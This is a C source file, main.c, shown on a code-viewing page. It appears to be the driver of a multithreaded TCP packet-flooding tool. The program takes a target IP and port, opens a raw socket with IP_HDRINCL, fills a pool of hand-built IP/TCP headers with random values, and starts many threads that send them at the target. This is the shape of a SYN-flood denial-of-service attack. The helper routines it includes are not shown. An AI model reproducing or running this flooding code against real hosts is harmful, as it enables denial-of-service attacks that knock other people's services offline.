📄 main.c
字号:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <strings.h>#include <unistd.h>#include <time.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <arpa/inet.h>#include <signal.h>#include <pthread.h>#include <awl_rand.h>#include <awl_checksum.h>#include <awl_pool.h>#include <awl_pth.h>#include <awl_sig.h>int s;int quit_id = 0;char *head[POOL_MAX];struct sockaddr_in toaddr;int toaddr_len = sizeof(struct sockaddr_in);char buf_len = sizeof(struct iphdr)+sizeof(struct tcphdr);int main(int argc, char *argv[]){ pthread_t pth[PTH_MAX]; int i=0,ret,foo=1,opt; void * pth_message; signal(SIGINT,sig_process); bzero(&toaddr,toaddr_len); toaddr.sin_family = AF_INET; toaddr.sin_addr.s_addr = 0; toaddr.sin_port = 0; while((opt = getopt(argc,argv,"d:p:")) != -1){ switch(opt){ case 'd': toaddr.sin_addr.s_addr = inet_addr(optarg); break; case 'p': toaddr.sin_port = htons(atoi(optarg)); break; case '?': printf("Format Error\n"); exit(1); break; } } if((toaddr.sin_addr.s_addr <=0) || (toaddr.sin_port <=0)){ printf("Format Error\n"); exit(1); } rand_init(); if((s=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0){ perror("Socket:"); exit(1); } if((setsockopt(s,0,IP_HDRINCL,(void *)&foo,sizeof(foo)))<0){ perror("setsockopt"); exit(1); } pool_init(head,&toaddr); while(i<PTH_MAX){ ret = pthread_create(&pth[i],NULL,awl_send,NULL); if(ret != 0){ perror("pthread_create"); exit(1); } i++; } pool_renew(head); for(i=0;i<PTH_MAX;i++){ ret = pthread_join(pth[i],&pth_message); if(ret !=0){ perror("pthread_join Error\n"); exit(1); } printf("pthread join %d is %s !\n",i,(char *)pth_message); } pool_clean(head); close(s); return (0);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -